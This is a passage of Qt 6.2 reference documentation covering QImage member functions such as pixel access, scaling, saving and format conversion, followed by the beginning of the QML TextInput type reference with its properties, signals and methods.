bool QImage::loadFromData(const [QByteArray](qbytearray) &*data*, const char \**format* = nullptr)

 This is an overloaded function.

 Loads an image from the given [QByteArray](qbytearray) *data*.

 ### 
`[since 6.0]` void QImage::mirror(bool *horizontal* = false, bool *vertical* = true)

 Mirrors of the image in the horizontal and/or the vertical direction depending on whether *horizontal* and *vertical* are set to true or false.

 This function was introduced in Qt 6.0.

 **See also** [mirrored](qimage#mirrored)() and [Image Transformations](qimage#image-transformations).

 ### 
[QPoint](qpoint) QImage::offset() const

 Returns the number of pixels by which the image is intended to be offset by when positioning relative to other images.

 **See also** [setOffset](qimage#setOffset)() and [Image Information](qimage#image-information).

 ### 
[QRgb](qcolor#QRgb-typedef) QImage::pixel(const [QPoint](qpoint) &*position*) const

 Returns the color of the pixel at the given *position*.

 If the *position* is not valid, the results are undefined.

  **Warning:** This function is expensive when used for massive pixel manipulations. Use [constBits](qimage#constBits)() or [constScanLine](qimage#constScanLine)() when many pixels needs to be read.

  **See also** [setPixel](qimage#setPixel)(), [valid](qimage#valid)(), [constBits](qimage#constBits)(), [constScanLine](qimage#constScanLine)(), and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
[QRgb](qcolor#QRgb-typedef) QImage::pixel(int *x*, int *y*) const

 This is an overloaded function.

 Returns the color of the pixel at coordinates (*x*, *y*).

 ### 
`[since 5.6]` [QColor](qcolor) QImage::pixelColor(const [QPoint](qpoint) &*position*) const

 Returns the color of the pixel at the given *position* as a [QColor](qcolor).

 If the *position* is not valid, an invalid [QColor](qcolor) is returned.

  **Warning:** This function is expensive when used for massive pixel manipulations. Use [constBits](qimage#constBits)() or [constScanLine](qimage#constScanLine)() when many pixels needs to be read.

  This function was introduced in Qt 5.6.

 **See also** [setPixelColor](qimage#setPixelColor)(), [setPixel](qimage#setPixel)(), [valid](qimage#valid)(), [constBits](qimage#constBits)(), [constScanLine](qimage#constScanLine)(), and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
`[since 5.6]` [QColor](qcolor) QImage::pixelColor(int *x*, int *y*) const

 This is an overloaded function.

 Returns the color of the pixel at coordinates (*x*, *y*) as a [QColor](qcolor).

 This function was introduced in Qt 5.6.

 ### 
[QPixelFormat](qpixelformat) QImage::pixelFormat() const

 Returns the [QImage::Format](qimage#Format-enum) as a [QPixelFormat](qpixelformat)

 ### 
int QImage::pixelIndex(const [QPoint](qpoint) &*position*) const

 Returns the pixel index at the given *position*.

 If *position* is not valid, or if the image is not a paletted image ([depth](qimage#depth)() > 8), the results are undefined.

 **See also** [valid](qimage#valid)(), [depth](qimage#depth)(), and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
int QImage::pixelIndex(int *x*, int *y*) const

 This is an overloaded function.

 Returns the pixel index at (*x*, *y*).

 ### 
[QRect](qrect) QImage::rect() const

 Returns the enclosing rectangle (0, 0, [width](qimage#width)(), [height](qimage#height)()) of the image.

 **See also** [Image Information](qimage#image-information).

 ### 
`[since 5.9]` bool QImage::reinterpretAsFormat([QImage::Format](qimage#Format-enum) *format*)

 Changes the format of the image to *format* without changing the data. Only works between formats of the same depth.

 Returns `true` if successful.

 This function can be used to change images with alpha-channels to their corresponding opaque formats if the data is known to be opaque-only, or to change the format of a given image buffer before overwriting it with new data.

  **Warning:** The function does not check if the image data is valid in the new format and will still return `true` if the depths are compatible. Operations on an image with invalid data are undefined.

   **Warning:** If the image is not detached, this will cause the data to be copied.

  This function was introduced in Qt 5.9.

 **See also** [hasAlphaChannel](qimage#hasAlphaChannel)() and [convertToFormat](qimage#convertToFormat)().

 ### 
`[since 6.0]` void QImage::rgbSwap()

 Swaps the values of the red and blue components of all pixels, effectively converting an RGB image to an BGR image.

 This function was introduced in Qt 6.0.

 **See also** [rgbSwapped](qimage#rgbSwapped)() and [Image Transformations](qimage#image-transformations).

 ### 
bool QImage::save(const [QString](qstring) &*fileName*, const char \**format* = nullptr, int *quality* = -1) const

 Saves the image to the file with the given *fileName*, using the given image file *format* and *quality* factor. If *format* is `nullptr`, [QImage](qimage) will attempt to guess the format by looking at *fileName*'s suffix.

 The *quality* factor must be in the range 0 to 100 or -1. Specify 0 to obtain small compressed files, 100 for large uncompressed files, and -1 (the default) to use the default settings.

 Returns `true` if the image was successfully saved; otherwise returns `false`.

 **See also** [Reading and Writing Image Files](qimage#reading-and-writing-image-files).

 ### 
bool QImage::save([QIODevice](qiodevice) \**device*, const char \**format* = nullptr, int *quality* = -1) const

 This is an overloaded function.

 This function writes a [QImage](qimage) to the given *device*.

 This can, for example, be used to save an image directly into a [QByteArray](qbytearray):

 
```
QImage image;
QByteArray ba;
QBuffer buffer(&ba);
buffer.open(QIODevice::WriteOnly);
image.save(&buffer, "PNG"); // writes image into ba in PNG format
```
 ### 
[QImage](qimage#QImage) QImage::scaled(const [QSize](qsize) &*size*, [Qt::AspectRatioMode](qt#AspectRatioMode-enum) *aspectRatioMode* = Qt::IgnoreAspectRatio, [Qt::TransformationMode](qt#TransformationMode-enum) *transformMode* = Qt::FastTransformation) const

 Returns a copy of the image scaled to a rectangle defined by the given *size* according to the given *aspectRatioMode* and *transformMode*.

 ![]


* If *aspectRatioMode* is [Qt::IgnoreAspectRatio](qt#AspectRatioMode-enum), the image is scaled to *size*.
* If *aspectRatioMode* is [Qt::KeepAspectRatio](qt#AspectRatioMode-enum), the image is scaled to a rectangle as large as possible inside *size*, preserving the aspect ratio.
* If *aspectRatioMode* is [Qt::KeepAspectRatioByExpanding](qt#AspectRatioMode-enum), the image is scaled to a rectangle as small as possible outside *size*, preserving the aspect ratio.

 If the given *size* is empty, this function returns a null image.

 **See also** [isNull](qimage#isNull)() and [Image Transformations](qimage#image-transformations).

 ### 
[QImage](qimage#QImage) QImage::scaled(int *width*, int *height*, [Qt::AspectRatioMode](qt#AspectRatioMode-enum) *aspectRatioMode* = Qt::IgnoreAspectRatio, [Qt::TransformationMode](qt#TransformationMode-enum) *transformMode* = Qt::FastTransformation) const

 This is an overloaded function.

 Returns a copy of the image scaled to a rectangle with the given *width* and *height* according to the given *aspectRatioMode* and *transformMode*.

 If either the *width* or the *height* is zero or negative, this function returns a null image.

 ### 
[QImage](qimage#QImage) QImage::scaledToHeight(int *height*, [Qt::TransformationMode](qt#TransformationMode-enum) *mode* = Qt::FastTransformation) const

 Returns a scaled copy of the image. The returned image is scaled to the given *height* using the specified transformation *mode*.

 This function automatically calculates the width of the image so that the ratio of the image is preserved.

 If the given *height* is 0 or negative, a null image is returned.

 **See also** [Image Transformations](qimage#image-transformations).

 ### 
[QImage](qimage#QImage) QImage::scaledToWidth(int *width*, [Qt::TransformationMode](qt#TransformationMode-enum) *mode* = Qt::FastTransformation) const

 Returns a scaled copy of the image. The returned image is scaled to the given *width* using the specified transformation *mode*.

 This function automatically calculates the height of the image so that its aspect ratio is preserved.

 If the given *width* is 0 or negative, a null image is returned.

 **See also** [Image Transformations](qimage#image-transformations).

 ### 
[uchar](qtglobal#uchar-typedef) \*QImage::scanLine(int *i*)

 Returns a pointer to the pixel data at the scanline with index *i*. The first scanline is at index 0.

 The scanline data is as minimum 32-bit aligned. For 64-bit formats it follows the native alignment of 64-bit integers (64-bit for most platforms, but notably 32-bit on i386).

 For example, to remove the green component of each pixel in an image:

 
```
for (int y = 0; y < image.height(); ++y) {
    QRgb *line = reinterpret_cast<QRgb*>(image.scanLine(y));
    for (int x = 0; x < image.width(); ++x) {
        QRgb &rgb = line[x];
        rgb = qRgba(qRed(rgb), qGreen(0), qBlue(rgb), qAlpha(rgb));
    }
}
```
  **Warning:** If you are accessing 32-bpp image data, cast the returned pointer to `QRgb*` ([QRgb](qcolor#QRgb-typedef) has a 32-bit size) and use it to read/write the pixel value. You cannot use the `uchar*` pointer directly, because the pixel format depends on the byte order on the underlying platform. Use qRed(), qGreen(), qBlue(), and qAlpha() to access the pixels.

  **See also** [bytesPerLine](qimage#bytesPerLine)(), [bits](qimage#bits)(), [Pixel Manipulation](qimage#pixel-manipulation), and [constScanLine](qimage#constScanLine)().

 ### const [uchar](qtglobal#uchar-typedef) \*QImage::scanLine(int *i*) const

 This is an overloaded function.

 ### 
void QImage::setAlphaChannel(const [QImage](qimage#QImage) &*alphaChannel*)

 Sets the alpha channel of this image to the given *alphaChannel*.

 If *alphaChannel* is an 8 bit alpha image, the alpha values are used directly. Otherwise, *alphaChannel* is converted to 8 bit grayscale and the intensity of the pixel values is used.

 If the image already has an alpha channel, the existing alpha channel is multiplied with the new one. If the image doesn't have an alpha channel it will be converted to a format that does.

 The operation is similar to painting *alphaChannel* as an alpha image over this image using `QPainter::CompositionMode_DestinationIn`.

 **See also** [hasAlphaChannel](qimage#hasAlphaChannel)(), [Image Transformations](qimage#image-transformations), and [Image Formats](qimage#image-formats).

 ### 
void QImage::setColor(int *index*, [QRgb](qcolor#QRgb-typedef) *colorValue*)

 Sets the color at the given *index* in the color table, to the given to *colorValue*. The color value is an ARGB quadruplet.

 If *index* is outside the current size of the color table, it is expanded with [setColorCount](qimage#setColorCount)().

 **See also** [color](qimage#color)(), [colorCount](qimage#colorCount)(), [setColorTable](qimage#setColorTable)(), and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
void QImage::setColorCount(int *colorCount*)

 Resizes the color table to contain *colorCount* entries.

 If the color table is expanded, all the extra colors will be set to transparent (i.e [qRgba](qcolor#qRgba)(0, 0, 0, 0)).

 When the image is used, the color table must be large enough to have entries for all the pixel/index values present in the image, otherwise the results are undefined.

 **See also** [colorCount](qimage#colorCount)(), [colorTable](qimage#colorTable)(), [setColor](qimage#setColor)(), and [Image Transformations](qimage#image-transformations).

 ### 
`[since 5.14]` void QImage::setColorSpace(const [QColorSpace](qcolorspace) &*colorSpace*)

 Sets the image color space to *colorSpace* without performing any conversions on image data.

 This function was introduced in Qt 5.14.

 **See also** [colorSpace](qimage#colorSpace)().

 ### 
void QImage::setColorTable(const [QList](qlist)<[QRgb](qcolor#QRgb-typedef)> &*colors*)

 Sets the color table used to translate color indexes to [QRgb](qcolor#QRgb-typedef) values, to the specified *colors*.

 When the image is used, the color table must be large enough to have entries for all the pixel/index values present in the image, otherwise the results are undefined.

 **See also** [colorTable](qimage#colorTable)(), [setColor](qimage#setColor)(), and [Image Transformations](qimage#image-transformations).

 ### 
void QImage::setDevicePixelRatio([qreal](qtglobal#qreal-typedef) *scaleFactor*)

 Sets the device pixel ratio for the image. This is the ratio between image pixels and device-independent pixels.

 The default *scaleFactor* is 1.0. Setting it to something else has two effects:

 QPainters that are opened on the image will be scaled. For example, painting on a 200x200 image if with a ratio of 2.0 will result in effective (device-independent) painting bounds of 100x100.

 Code paths in Qt that calculate layout geometry based on the image size will take the ratio into account: [QSize](qsize) layoutSize = image.[size](qimage#size)() / image.[devicePixelRatio](qimage#devicePixelRatio)() The net effect of this is that the image is displayed as high-DPI image rather than a large image (see [Drawing High Resolution Versions of Pixmaps and Images](qpainter#drawing-high-resolution-versions-of-pixmaps-and-images)).

 **See also** [devicePixelRatio](qimage#devicePixelRatio)() and [deviceIndependentSize](qimage#deviceIndependentSize)().

 ### 
void QImage::setDotsPerMeterX(int *x*)

 Sets the number of pixels that fit horizontally in a physical meter, to *x*.

 Together with [dotsPerMeterY](qimage#dotsPerMeterY)(), this number defines the intended scale and aspect ratio of the image, and determines the scale at which [QPainter](qpainter) will draw graphics on the image. It does not change the scale or aspect ratio of the image when it is rendered on other paint devices.

 **See also** [dotsPerMeterX](qimage#dotsPerMeterX)() and [Image Information](qimage#image-information).

 ### 
void QImage::setDotsPerMeterY(int *y*)

 Sets the number of pixels that fit vertically in a physical meter, to *y*.

 Together with [dotsPerMeterX](qimage#dotsPerMeterX)(), this number defines the intended scale and aspect ratio of the image, and determines the scale at which [QPainter](qpainter) will draw graphics on the image. It does not change the scale or aspect ratio of the image when it is rendered on other paint devices.

 **See also** [dotsPerMeterY](qimage#dotsPerMeterY)() and [Image Information](qimage#image-information).

 ### 
void QImage::setOffset(const [QPoint](qpoint) &*offset*)

 Sets the number of pixels by which the image is intended to be offset by when positioning relative to other images, to *offset*.

 **See also** [offset](qimage#offset)() and [Image Information](qimage#image-information).

 ### 
void QImage::setPixel(const [QPoint](qpoint) &*position*, [uint](qtglobal#uint-typedef) *index\_or\_rgb*)

 Sets the pixel index or color at the given *position* to *index\_or\_rgb*.

 If the image's format is either monochrome or paletted, the given *index\_or\_rgb* value must be an index in the image's color table, otherwise the parameter must be a [QRgb](qcolor#QRgb-typedef) value.

 If *position* is not a valid coordinate pair in the image, or if *index\_or\_rgb* >= [colorCount](qimage#colorCount)() in the case of monochrome and paletted images, the result is undefined.

  **Warning:** This function is expensive due to the call of the internal `detach()` function called within; if performance is a concern, we recommend the use of [scanLine](qimage#scanLine)() or [bits](qimage#bits)() to access pixel data directly.

  **See also** [pixel](qimage#pixel)() and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
void QImage::setPixel(int *x*, int *y*, [uint](qtglobal#uint-typedef) *index\_or\_rgb*)

 This is an overloaded function.

 Sets the pixel index or color at (*x*, *y*) to *index\_or\_rgb*.

 ### 
`[since 5.6]` void QImage::setPixelColor(const [QPoint](qpoint) &*position*, const [QColor](qcolor) &*color*)

 Sets the color at the given *position* to *color*.

 If *position* is not a valid coordinate pair in the image, or the image's format is either monochrome or paletted, the result is undefined.

  **Warning:** This function is expensive due to the call of the internal `detach()` function called within; if performance is a concern, we recommend the use of [scanLine](qimage#scanLine)() or [bits](qimage#bits)() to access pixel data directly.

  This function was introduced in Qt 5.6.

 **See also** [pixelColor](qimage#pixelColor)(), [pixel](qimage#pixel)(), [bits](qimage#bits)(), [scanLine](qimage#scanLine)(), and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
`[since 5.6]` void QImage::setPixelColor(int *x*, int *y*, const [QColor](qcolor) &*color*)

 This is an overloaded function.

 Sets the pixel color at (*x*, *y*) to *color*.

 This function was introduced in Qt 5.6.

 ### 
void QImage::setText(const [QString](qstring) &*key*, const [QString](qstring) &*text*)

 Sets the image text to the given *text* and associate it with the given *key*.

 If you just want to store a single text block (i.e., a "comment" or just a description), you can either pass an empty key, or use a generic key like "Description".

 The image text is embedded into the image data when you call [save](qimage#save)() or [QImageWriter::write](qimagewriter#write)().

 Not all image formats support embedded text. You can find out if a specific image or format supports embedding text by using [QImageWriter::supportsOption](qimagewriter#supportsOption)(). We give an example:

 
```
    QImageWriter writer;
    writer.setFormat("png");
    if (writer.supportsOption(QImageIOHandler::Description))
        qDebug() << "Png supports embedded text";
```
 You can use [QImageWriter::supportedImageFormats](qimagewriter#supportedImageFormats)() to find out which image formats are available to you.

 **See also** [text](qimage#text)() and [textKeys](qimage#textKeys)().

 ### 
[QSize](qsize) QImage::size() const

 Returns the size of the image, i.e. its [width](qimage#width)() and [height](qimage#height)().

 **See also** [Image Information](qimage#image-information) and [deviceIndependentSize](qimage#deviceIndependentSize)().

 ### 
`[since 5.10]` qsizetype QImage::sizeInBytes() const

 Returns the image data size in bytes.

 This function was introduced in Qt 5.10.

 **See also** [bytesPerLine](qimage#bytesPerLine)(), [bits](qimage#bits)(), and [Image Information](qimage#image-information).

 ### 
void QImage::swap([QImage](qimage#QImage) &*other*)

 Swaps image *other* with this image. This operation is very fast and never fails.

 ### 
[QString](qstring) QImage::text(const [QString](qstring) &*key* = QString()) const

 Returns the image text associated with the given *key*. If the specified *key* is an empty string, the whole image text is returned, with each key-text pair separated by a newline.

 **See also** [setText](qimage#setText)() and [textKeys](qimage#textKeys)().

 ### 
[QStringList](qstringlist) QImage::textKeys() const

 Returns the text keys for this image.

 You can use these keys with [text](qimage#text)() to list the image text for a certain key.

 **See also** [text](qimage#text)().

 ### 
CGImageRef QImage::toCGImage() const

 Creates a `CGImage` equivalent to this [QImage](qimage).

 Returns a `CGImageRef` handle.

 The returned CGImageRef partakes in the [QImage](qimage) implicit sharing, and holds a reference to the [QImage](qimage) data. CGImage is immutable and will never detach the [QImage](qimage). Writing to the [QImage](qimage) will detach as usual.

 This function is fast, and does not copy or convert image data.

 The following image formats are supported, and will be mapped to a corresponding native image type:

 

| Qt | CoreGraphics |
| --- | --- |
| [Format\_ARGB32](qimage#Format-enum) | kCGImageAlphaFirst | kCGBitmapByteOrder32Host |
| [Format\_RGB32](qimage#Format-enum) | kCGImageAlphaNoneSkipFirst | kCGBitmapByteOrder32Host |
| [Format\_RGBA8888\_Premultiplied](qimage#Format-enum) | kCGImageAlphaPremultipliedLast | kCGBitmapByteOrder32Big |
| [Format\_RGBA8888](qimage#Format-enum) | kCGImageAlphaLast | kCGBitmapByteOrder32Big |
| [Format\_RGBX8888](qimage#Format-enum) | kCGImageAlphaNoneSkipLast | kCGBitmapByteOrder32Big |
| [Format\_ARGB32\_Premultiplied](qimage#Format-enum) | kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Host |

 Other formats are not supported; this function returns a null CGImageRef for those cases. Users of this function may then convert the [QImage](qimage) to a supported format first, for example [Format\_ARGB32\_Premultiplied](qimage#Format-enum).

 The CGImageRef color space is set to the sRGB color space.

 ### 
`[since 6.0]` HBITMAP QImage::toHBITMAP() const

 Creates a `HBITMAP` equivalent of the [QImage](qimage).

 Returns the `HBITMAP` handle.

 It is the caller's responsibility to free the `HBITMAP` data after use.

 For usage with with standard GDI calls, such as `BitBlt()`, the image should have the format [QImage::Format\_RGB32](qimage#Format-enum).

 When using the resulting HBITMAP for the `AlphaBlend()` GDI function, the image should have the format [QImage::Format\_ARGB32\_Premultiplied](qimage#Format-enum) (use [convertToFormat](qimage#convertToFormat)()).

 When using the resulting HBITMAP as application icon or a systray icon, the image should have the format [QImage::Format\_ARGB32](qimage#Format-enum).

 This function was introduced in Qt 6.0.

 **See also** [fromHBITMAP](qimage#fromHBITMAP)() and [convertToFormat](qimage#convertToFormat)().

 ### 
`[since 6.0]` HICON QImage::toHICON(const [QImage](qimage#QImage) &*mask* = {}) const

 Creates a `HICON` equivalent of the [QPixmap](qpixmap), applying the mask *mask*.

 If *mask* is not null, it needs to be of format [QImage::Format\_Mono](qimage#Format-enum). Returns the `HICON` handle.

 It is the caller's responsibility to free the `HICON` data after use.

 This function was introduced in Qt 6.0.

 **See also** [fromHICON](qimage#fromHICON)().

 ### 
`[static]` [QImage::Format](qimage#Format-enum) QImage::toImageFormat([QPixelFormat](qpixelformat) *format*)

 Converts *format* into a [QImage::Format](qimage#Format-enum)

 ### 
`[static]` [QPixelFormat](qpixelformat) QImage::toPixelFormat([QImage::Format](qimage#Format-enum) *format*)

 Converts *format* into a [QPixelFormat](qpixelformat)

 ### 
[QImage](qimage#QImage) QImage::transformed(const [QTransform](qtransform) &*matrix*, [Qt::TransformationMode](qt#TransformationMode-enum) *mode* = Qt::FastTransformation) const

 Returns a copy of the image that is transformed using the given transformation *matrix* and transformation *mode*.

 The returned image will normally have the same {Image Formats}{format} as the original image. However, a complex transformation may result in an image where not all pixels are covered by the transformed pixels of the original image. In such cases, those background pixels will be assigned a transparent color value, and the transformed image will be given a format with an alpha channel, even if the original image did not have that.

 The transformation *matrix* is internally adjusted to compensate for unwanted translation; i.e. the image produced is the smallest image that contains all the transformed points of the original image. Use the [trueMatrix](qimage#trueMatrix)() function to retrieve the actual matrix used for transforming an image.

 Unlike the other overload, this function can be used to perform perspective transformations on images.

 **See also** [trueMatrix](qimage#trueMatrix)() and [Image Transformations](qimage#image-transformations).

 ### 
`[static]` [QTransform](qtransform) QImage::trueMatrix(const [QTransform](qtransform) &*matrix*, int *width*, int *height*)

 Returns the actual matrix used for transforming an image with the given *width*, *height* and *matrix*.

 When transforming an image using the [transformed](qimage#transformed)() function, the transformation matrix is internally adjusted to compensate for unwanted translation, i.e. [transformed](qimage#transformed)() returns the smallest image containing all transformed points of the original image. This function returns the modified matrix, which maps points correctly from the original image into the new image.

 Unlike the other overload, this function creates transformation matrices that can be used to perform perspective transformations on images.

 **See also** [transformed](qimage#transformed)() and [Image Transformations](qimage#image-transformations).

 ### 
bool QImage::valid(const [QPoint](qpoint) &*pos*) const

 Returns `true` if *pos* is a valid coordinate pair within the image; otherwise returns `false`.

 **See also** [rect](qimage#rect)() and [QRect::contains](qrect#contains)().

 ### 
bool QImage::valid(int *x*, int *y*) const

 This is an overloaded function.

 Returns `true` if [QPoint](qpoint)(*x*, *y*) is a valid coordinate pair within the image; otherwise returns `false`.

 ### 
int QImage::width() const

 Returns the width of the image.

 **See also** [Image Information](qimage#image-information).

 ### 
[QVariant](qvariant) QImage::operator QVariant() const

 Returns the image as a [QVariant](qvariant).

 ### 
bool QImage::operator!=(const [QImage](qimage#QImage) &*image*) const

 Returns `true` if this image and the given *image* have different contents; otherwise returns `false`.

 The comparison can be slow, unless there is some obvious difference, such as different widths, in which case the function will return quickly.

 **See also** [operator=](qimage#operator-eq)().

 ### 
bool QImage::operator==(const [QImage](qimage#QImage) &*image*) const

 Returns `true` if this image and the given *image* have the same contents; otherwise returns `false`.

 The comparison can be slow, unless there is some obvious difference (e.g. different size or format), in which case the function will return quickly.

 **See also** [operator=](qimage#operator-eq)().

  Related Non-Members
-------------------

 ### 
`[since 5.0]` QImageCleanupFunction

 A function with the following signature that can be used to implement basic image memory management:

 
```
void myImageCleanupHandler(void *info);
```
 This typedef was introduced in Qt 5.0.

 ### 
[QDataStream](qdatastream) &operator<<([QDataStream](qdatastream) &*stream*, const [QImage](qimage#QImage) &*image*)

 Writes the given *image* to the given *stream* as a PNG image, or as a BMP image if the stream's version is 1. Note that writing the stream to a file will not produce a valid image file.

 **See also** [QImage::save](qimage#save)() and [Serializing Qt Data Types](datastreamformat).

 ### 
[QDataStream](qdatastream) &operator>>([QDataStream](qdatastream) &*stream*, [QImage](qimage#QImage) &*image*)

 Reads an image from the given *stream* and stores it in the given *image*.

 **See also** [QImage::load](qimage#load)() and [Serializing Qt Data Types](datastreamformat).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qimage.html>

TextInput QML Type
==================

 Displays an editable line of text. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-textinput-members.html)

 Properties
----------

 * **[acceptableInput](qml-qtquick-textinput#acceptableInput-prop)** : bool
* **[activeFocusOnPress](qml-qtquick-textinput#activeFocusOnPress-prop)** : bool
* **[autoScroll](qml-qtquick-textinput#autoScroll-prop)** : bool
* **[bottomPadding](qml-qtquick-textinput#bottomPadding-prop)** : real
* **[canPaste](qml-qtquick-textinput#canPaste-prop)** : bool
* **[canRedo](qml-qtquick-textinput#canRedo-prop)** : bool
* **[canUndo](qml-qtquick-textinput#canUndo-prop)** : bool
* **[color](qml-qtquick-textinput#color-prop)** : color
* **[contentHeight](qml-qtquick-textinput#contentHeight-prop)** : real
* **[contentWidth](qml-qtquick-textinput#contentWidth-prop)** : real
* **[cursorDelegate](qml-qtquick-textinput#cursorDelegate-prop)** : Component
* **[cursorPosition](qml-qtquick-textinput#cursorPosition-prop)** : int
* **[cursorRectangle](qml-qtquick-textinput#cursorRectangle-prop)** : rectangle
* **[cursorVisible](qml-qtquick-textinput#cursorVisible-prop)** : bool
* **[displayText](qml-qtquick-textinput#displayText-prop)** : string
* **[echoMode](qml-qtquick-textinput#echoMode-prop)** : enumeration
* **[effectiveHorizontalAlignment](qml-qtquick-textinput#effectiveHorizontalAlignment-prop)** : enumeration
* **[font.bold](qml-qtquick-textinput#font.bold-prop)** : bool
* **[font.capitalization](qml-qtquick-textinput#font.capitalization-prop)** : enumeration
* **[font.family](qml-qtquick-textinput#font.family-prop)** : string
* **[font.hintingPreference](qml-qtquick-textinput#font.hintingPreference-prop)** : enumeration
* **[font.italic](qml-qtquick-textinput#font.italic-prop)** : bool
* **[font.kerning](qml-qtquick-textinput#font.kerning-prop)** : bool
* **[font.letterSpacing](qml-qtquick-textinput#font.letterSpacing-prop)** : real
* **[font.pixelSize](qml-qtquick-textinput#font.pixelSize-prop)** : int
* **[font.pointSize](qml-qtquick-textinput#font.pointSize-prop)** : real
* **[font.preferShaping](qml-qtquick-textinput#font.preferShaping-prop)** : bool
* **[font.strikeout](qml-qtquick-textinput#font.strikeout-prop)** : bool
* **[font.styleName](qml-qtquick-textinput#font.styleName-prop)** : string
* **[font.underline](qml-qtquick-textinput#font.underline-prop)** : bool
* **[font.weight](qml-qtquick-textinput#font.weight-prop)** : int
* **[font.wordSpacing](qml-qtquick-textinput#font.wordSpacing-prop)** : real
* **[horizontalAlignment](qml-qtquick-textinput#horizontalAlignment-prop)** : enumeration
* **[inputMask](qml-qtquick-textinput#inputMask-prop)** : string
* **[inputMethodComposing](qml-qtquick-textinput#inputMethodComposing-prop)** : bool
* **[inputMethodHints](qml-qtquick-textinput#inputMethodHints-prop)** : enumeration
* **[leftPadding](qml-qtquick-textinput#leftPadding-prop)** : real
* **[length](qml-qtquick-textinput#length-prop)** : int
* **[maximumLength](qml-qtquick-textinput#maximumLength-prop)** : int
* **[mouseSelectionMode](qml-qtquick-textinput#mouseSelectionMode-prop)** : enumeration
* **[overwriteMode](qml-qtquick-textinput#overwriteMode-prop)** : bool
* **[padding](qml-qtquick-textinput#padding-prop)** : real
* **[passwordCharacter](qml-qtquick-textinput#passwordCharacter-prop)** : string
* **[passwordMaskDelay](qml-qtquick-textinput#passwordMaskDelay-prop)** : int
* **[persistentSelection](qml-qtquick-textinput#persistentSelection-prop)** : bool
* **[preeditText](qml-qtquick-textinput#preeditText-prop)** : string
* **[readOnly](qml-qtquick-textinput#readOnly-prop)** : bool
* **[renderType](qml-qtquick-textinput#renderType-prop)** : enumeration
* **[rightPadding](qml-qtquick-textinput#rightPadding-prop)** : real
* **[selectByMouse](qml-qtquick-textinput#selectByMouse-prop)** : bool
* **[selectedText](qml-qtquick-textinput#selectedText-prop)** : string
* **[selectedTextColor](qml-qtquick-textinput#selectedTextColor-prop)** : color
* **[selectionColor](qml-qtquick-textinput#selectionColor-prop)** : color
* **[selectionEnd](qml-qtquick-textinput#selectionEnd-prop)** : int
* **[selectionStart](qml-qtquick-textinput#selectionStart-prop)** : int
* **[text](qml-qtquick-textinput#text-prop)** : string
* **[topPadding](qml-qtquick-textinput#topPadding-prop)** : real
* **[validator](qml-qtquick-textinput#validator-prop)** : Validator
* **[verticalAlignment](qml-qtquick-textinput#verticalAlignment-prop)** : enumeration
* **[wrapMode](qml-qtquick-textinput#wrapMode-prop)** : enumeration

 Signals
-------

 * **[accepted](qml-qtquick-textinput#accepted-signal)**()
* **[editingFinished](qml-qtquick-textinput#editingFinished-signal)**()
* **[textEdited](qml-qtquick-textinput#textEdited-signal)**()

 Methods
-------

 * **[clear](qml-qtquick-textinput#clear-method)**()
* **[copy](qml-qtquick-textinput#copy-method)**()
* **[cut](qml-qtquick-textinput#cut-method)**()
* **[deselect](qml-qtquick-textinput#deselect-method)**()
* **[ensureVisible](qml-qtquick-textinput#ensureVisible-method)**(int *position*)
* string **[getText](qml-qtquick-textinput#getText-method)**(int *start*, int *end*)
* **[insert](qml-qtquick-textinput#insert-method)**(int *position*, string *text*)
* **[isRightToLeft](qml-qtquick-textinput#isRightToLeft-method)**(int *start*, int *end*)
* **[moveCursorSelection](qml-qtquick-textinput#moveCursorSelection-method)**(int *position*, SelectionMode *mode*)
* **[paste](qml-qtquick-textinput#paste-method)**()
* int **[positionAt](qml-qtquick-textinput#positionAt-method)**(real *x*, real *y*, CursorPosition *position*)
* rect **[positionToRectangle](qml-qtquick-textinput#positionToRectangle-method)**(int *pos*)
* **[redo](qml-qtquick-textinput#redo-method)**()
* **[remove](qml-qtquick-textinput#remove-method)**(int *start*, int *end*)
* **[select](qml-qtquick-textinput#select-method)**(int *start*, int *end*)
* **[selectAll](qml-qtquick-textinput#selectAll-method)**()
* **[selectWord](qml-qtquick-textinput#selectWord-method)**()
* **[undo](qml-qtquick-textinput#undo-method)**()

 Detailed Description
--------------------

 The TextInput type displays a single line of editable plain text.

 TextInput is used to accept a line of text input. Input constraints can be placed on a TextInput item (for example, through a [validator](qml-qtquick-textinput#validator-prop) or [inputMask](qml-qtquick-textinput#inputMask-prop)), and setting [echoMode](qml-qtquick-textinput#echoMode-prop) to an appropriate value enables TextInput to be used for a password input field.

 On macOS, the Up/Down key bindings for Home/End are explicitly disabled. If you want such bindings (on any platform), you will need to construct them in QML.

 **See also** [TextEdit](qml-qtquick-textedit) and [Text](qml-qtquick-text).

 Property Documentation
----------------------

  ###  [since 5.6] bottomPadding : [real](qml-real)

 
These properties hold the padding around the content. This space is reserved in addition to the [contentWidth](qml-qtquick-textinput#contentWidth-prop) and [contentHeight](qml-qtquick-textinput#contentHeight-prop).

 The individual padding properties assume the value of the `padding` property unless they are set explicitly. For example, if `padding` is set to `4` and `leftPadding` to `8`, `8` will be used as the left padding.

  **Note:** If an explicit width or height is given to a [TextInput](qml-qtquick-textinput), care must be taken to ensure it is large enough to accommodate the relevant padding values. For example: if `topPadding` and `bottomPadding` are set to `10`, but the height of the [TextInput](qml-qtquick-textinput) is only set to `20`, the text will not have enough vertical space in which to be rendered, and will appear clipped.

  This QML property was introduced in Qt 5.6.

  ###  effectiveHorizontalAlignment : [enumeration](qml-enumeration)

 
Sets the horizontal alignment of the text within the [TextInput](qml-qtquick-textinput) item's width and height. By default, the text alignment follows the natural alignment of the text, for example text that is read from left to right will be aligned to the left.

 [TextInput](qml-qtquick-textinput) does not have vertical alignment, as the natural height is exactly the height of the single line of text. If you set the height manually to something larger, [TextInput](qml-qtquick-textinput) will always be top aligned vertically. You can use anchors to align it however you want within another item.

 The valid values for `horizontalAlignment` are `TextInput.AlignLeft`, `TextInput.AlignRight` and `TextInput.AlignHCenter`.

